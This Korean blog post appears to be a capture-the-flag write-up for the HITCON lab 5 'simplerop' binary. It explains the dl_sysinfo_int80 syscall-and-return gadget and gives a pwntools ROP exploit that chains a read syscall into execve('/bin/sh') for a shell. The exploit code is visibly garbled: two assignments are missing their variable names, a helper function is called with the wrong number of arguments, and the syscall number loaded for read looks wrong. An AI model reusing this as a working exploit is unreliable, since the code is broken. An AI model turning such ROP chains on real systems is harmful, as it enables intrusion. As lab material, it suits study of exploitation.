티스토리 뷰

카테고리 없음

dl_sysinfo_int80

mhibio 2019. 9. 23. 20:27

Hitcon lab 5번을 풀다가 궁금증이 생겨서 찾아봤더니

syscall chain을 원활하게 해주는 dl_sysinfo_int80함수가 있다.

 

 

간단하게 syscall 해주고 ret을 해주는 가젯이다.

 

+ hitcon lab 5 exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
 
context.log_level = 'debug'
 
= process('./simplerop')
= ELF('./simplerop')
 
bss = e.bss() + 0x100
 
syscall = 0x080493e1
read_plt = 0x0806CD50
puts_plt = 0x0804F640
 
dl_sysinfo_int80 = 0x806eef0  # syscall; ret;
 
pppr = 0x0804838c
edx = 0x0806e82a
eax = 0x080bae06
ecx_ebx = 0x0806e851
 
def reg(a, b, c, d, pay):
    pay += p32(eax)
    pay += p32(a)
    
    pay += p32(ecx_ebx)
    pay += p32(c)
    pay += p32(b)
 
    pay += p32(edx)
    pay += p32(d)
    return pay
 
pay = "A"*32
 
pay = reg(30, bss, 8, pay)
pay += p32(dl_sysinfo_int80)
 
pay = reg(11, bss, 00,pay)
pay += p32(syscall)
 
p.recv()
p.send(pay)
 
p.send('/bin/sh\x00')
 
p.interactive()

 

 

여담으로 chain할때 read(8, buf, 0)넣고서 왜 안돼는지 몰라서 30분을 낭비했다는....

댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
TAG
more
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
글 보관함